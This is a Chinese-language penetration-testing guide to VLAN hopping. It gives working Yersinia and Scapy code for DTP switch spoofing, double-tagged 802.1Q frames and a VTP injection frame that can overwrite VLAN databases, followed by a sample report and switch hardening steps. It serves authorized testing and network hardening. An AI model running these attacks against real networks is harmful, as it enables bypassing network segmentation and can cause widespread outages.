performing-vlan-hopping-attack

执行 VLAN 跳变攻击

何时使用

• 在获得授权的渗透测试中，测试基于 VLAN 的网络分段的有效性
• 验证交换机 trunk 端口配置能否阻止未经授权的 VLAN 访问
• 评估 802.1Q 标记和 native VLAN 配置能否抵御双重标记攻击
• 向网络团队演示为什么正确的交换机加固对于区域隔离至关重要
• 验证所有接入端口上是否已禁用 DTP（动态 trunk 协议）

请勿在未经明确授权和变更管理批准的情况下对生产交换机使用，在缺乏安全控制的情况下针对关键基础设施 VLAN（SCADA、医疗设备）使用，或将其用作拒绝服务攻击手段。

前置条件

• 书面授权，明确指定测试范围内的 VLAN 和交换机
• 对目标网络上交换机接入端口的物理或虚拟访问权限
• 已在 Kali Linux 上安装 Yersinia、Scapy 和 frogger VLAN 跳变工具
• 在帧级别理解 802.1Q trunking、DTP 和 VLAN 标记
• 可访问交换机命令行以验证配置（只读权限即可）
• 使用 Wireshark 捕获并验证带标记的帧

法律声明： 本技能仅用于获得授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能属于违法行为，并可能违反计算机欺诈相关法律。

工作流

步骤 1：枚举 VLAN 配置

# Identify the current VLAN assignment of the attacker port
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null

# Use CDP/LLDP to discover switch information
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# Or use lldpd
lldpcli show neighbors

# If CDP is enabled, capture CDP frames
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# Use Yersinia to discover DTP and VTP information
sudo yersinia -G &
# Or command line:
sudo yersinia dtp -attack 0 -interface eth0
# This listens for DTP frames to learn trunk negotiation status

# Nmap to identify hosts on other VLANs (if routing exists)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24

步骤 2：尝试交换机欺骗（DTP 攻击）

# Use Yersinia to send DTP frames and negotiate a trunk
sudo yersinia dtp -attack 1 -interface eth0

# This sends DTP desirable frames to convert the access port to a trunk
# If successful, the port becomes a trunk carrying all VLANs

# Alternatively, use Scapy to craft DTP frames
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *

# Send DTP desirable frame to negotiate trunk
dtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2004) /
    DTP(tlvlist=[
        DTPDomain(type=0x0001, domain=""),
        DTPStatus(type=0x0002, status=b"\x03"),  # Desirable
        DTPType(type=0x0003, dtptype=b"\xa5"),    # 802.1Q trunk
        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
    ])
)

sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP desirable frames sent. Check if trunk is negotiated.")
PYEOF

# If trunk negotiation succeeds, verify by capturing tagged frames
sudo tcpdump -en -i eth0 'vlan' -c 10

# Create VLAN subinterfaces to access other VLANs
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up

sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up

# Verify access to other VLANs
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1

步骤 3：尝试双重标记攻击

# Double tagging works when:
# 1. Attacker is on the native VLAN of the trunk
# 2. Target VLAN is different from the native VLAN
# 3. The switch strips the outer tag and forwards the inner tag

python3 << 'PYEOF'
from scapy.all import *

# Craft double-tagged frame
# Outer tag: Native VLAN (e.g., VLAN 1)
# Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"

double_tagged = (
    Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
    Dot1Q(vlan=1) /       # Outer tag: native VLAN (will be stripped)
    Dot1Q(vlan=20) /      # Inner tag: target VLAN (will be forwarded)
    IP(dst=target_ip, src="10.10.20.99") /
    ICMP(type=8)           # Echo request
)

# Send the double-tagged frame
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] Double-tagged frames sent targeting VLAN 20")
print("[!] Note: Double tagging is unidirectional - no responses expected")
PYEOF

# Use frogger for automated VLAN hopping
# frogger identifies native VLAN and attempts double tagging
sudo frogger

# Verify with Wireshark capture on the target VLAN (if possible)
# On a monitoring port in VLAN 20:
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10

步骤 4：测试 VTP（VLAN trunk 协议）攻击

# If VTP is in use, attempt to inject a VTP message with higher revision number
# This can overwrite VLAN database across all switches in the domain

python3 << 'PYEOF'
from scapy.all import *

# Craft VTP summary advertisement with high revision number
# WARNING: This can disrupt the entire VLAN domain if successful
vtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2003) /
    Raw(load=bytes([
        0x02,                    # Version 2
        0x01,                    # Summary advertisement
        0x00,                    # Followers
        0x06,                    # Domain name length
        0x54, 0x45, 0x53, 0x54, # Domain: "TEST"
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0xFF, 0xFF, # High revision number
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, # MD5 digest (zeros for lab)
    ]))
)

# Only send in authorized lab environments
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP summary advertisement sent")
PYEOF

步骤 5：验证交换机配置弱点

# On the switch (with read access), check for misconfigurations:

# Check DTP status on access ports (should be nonegotiate)
# show interfaces <interface> switchport
# Expected: Administrative Mode: static access
#           Negotiation of Trunking: Off

# Check native VLAN configuration (should not be VLAN 1)
# show interfaces trunk
# Expected: Native VLAN not matching any user VLAN

# Check VTP mode (should be transparent or off)
# show vtp status
# Expected: VTP Mode: Transparent

# Check unused ports are disabled
# show interfaces status | include disabled

# Verify port security is enabled
# show port-security

步骤 6：记录发现与修复措施

# Clean up VLAN subinterfaces
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null

# Stop any running attack tools
sudo killall yersinia 2>/dev/null

# Document all test results with timestamps
cat > vlan_hopping_report.txt << 'EOF'
VLAN Hopping Test Results
=========================
Test Date: $(date)
Tester: Security Assessment Team
Authorization: PENTEST-2024-0847

Test 1: DTP Switch Spoofing
  Result: VULNERABLE - Port negotiated trunk in 3 seconds
  Access gained to: VLANs 1, 10, 20, 30, 40

Test 2: Double Tagging
  Result: VULNERABLE - Frames reached VLAN 20 from VLAN 1
  Note: Unidirectional only (no return traffic)

Test 3: VTP Attack
  Result: NOT TESTED - VTP in transparent mode
EOF

关键概念

术语	定义
VLAN 跳变	一种二层攻击技术，允许攻击者访问其无权访问的 VLAN 上的流量，从而绕过网络分段
DTP（动态 trunk 协议）	Cisco 专有协议，用于在交换机之间自动协商 trunk 链路；接入端口上未禁用时易受欺骗攻击
双重标记	一种使用两个 802.1Q 标记封装帧的攻击，利用交换机的 native VLAN 处理机制将内层带标记的帧转发到其他 VLAN
Native VLAN	分配给 trunk 端口上未标记帧的 VLAN；当 native VLAN 与用户 VLAN 相同时，错误配置会导致双重标记攻击
VTP（VLAN trunk 协议）	Cisco 用于在交换机之间传播 VLAN 数据库变更的协议；在服务器模式下，具有更高修订号的恶意 VTP 消息可以覆盖 VLAN 数据库
802.1Q	IEEE 的 VLAN 标记标准，在以太网帧中插入 4 字节标记，以在 trunk 链路上标识 VLAN 成员身份

工具与系统

• Yersinia：二层攻击框架，支持 DTP、VTP、STP、CDP、DHCP 和 802.1Q 攻击，提供 GUI 和命令行两种模式
• Scapy：Python 数据包操作库，用于构造自定义 802.1Q 双重标记帧和 DTP 协商数据包
• frogger：VLAN 跳变工具，可自动化 native VLAN 发现和双重标记攻击
• Wireshark：数据包分析器，用于验证 VLAN 标记内容并确认帧已送达目标 VLAN
• tcpdump：命令行捕获工具，用于监控 802.1Q 带标记帧和 DTP/VTP 协议流量

常见场景

场景：在 PCI-DSS 持卡人数据环境中测试 VLAN 隔离

背景：某零售商需要验证其位于 VLAN 50 的持卡人数据环境（CDE）是否已与公司网络（VLAN 10）和访客 WiFi（VLAN 30）正确隔离。该网络使用 Cisco Catalyst 交换机，并采用 802.1Q 中继。本次评估已获授权，可从 VLAN 10 上的某个端口进行测试。

方法：

1. 连接到 VLAN 10 上的一个接入端口，并监听 DTP 帧以确定中继协商状态
2. 使用 Yersinia 发送 DTP desirable 帧——由于未禁用 DTP，该端口成功协商为中继
3. 创建一个 VLAN 50 子接口，并尝试访问 CDE 系统（10.10.50.0/24）——成功，表明隔离被绕过
4. 尝试从 VLAN 1（本征 VLAN）向 VLAN 50 进行双重标记——同样成功，因为本征 VLAN 是 VLAN 1
5. 记录 VLAN 隔离因 DTP 配置错误而未能作为 PCI-DSS 控制措施生效
6. 建议在所有接入端口上禁用 DTP，将本征 VLAN 改为未使用的 VLAN，并启用端口安全

陷阱：

• DTP 欺骗可能导致生成树拓扑变化，从而中断网络连接
• 如果本征 VLAN 不是 VLAN 1，或者交换机已正确配置，双重标记可能无法奏效
• 在生产环境中进行 VTP 攻击可能会删除整个交换域中的 VLAN，导致大范围中断
• 测试后忘记移除 VLAN 子接口，从而使未授权的 VLAN 访问保持可用

输出格式

## VLAN Hopping Assessment Report

**Test ID**: VLAN-HOP-2024-001
**Switch Under Test**: Core-SW1 (Cisco Catalyst 9300)
**Attacker Port**: Gi1/0/24 (VLAN 10)
**Target VLANs**: VLAN 20 (Servers), VLAN 50 (CDE)

### Test Results

| Attack | Target VLAN | Result | Impact |
|--------|-------------|--------|--------|
| DTP Switch Spoofing | All VLANs | VULNERABLE | Full trunk access gained |
| Double Tagging | VLAN 50 | VULNERABLE | Unidirectional access to CDE |
| VTP Injection | N/A | NOT VULNERABLE | VTP transparent mode |

### Root Causes
1. DTP not disabled on access port Gi1/0/24 (Administrative mode: dynamic auto)
2. Native VLAN is VLAN 1 (default) on all trunk links
3. Unused ports not shutdown on the switch

### Remediation
1. Disable DTP on all access ports: `switchport nonegotiate`
2. Set all access ports to static mode: `switchport mode access`
3. Change native VLAN to unused VLAN: `switchport trunk native vlan 999`
4. Shutdown all unused ports: `shutdown`
5. Enable port security on access ports
6. Set VTP to transparent mode on all switches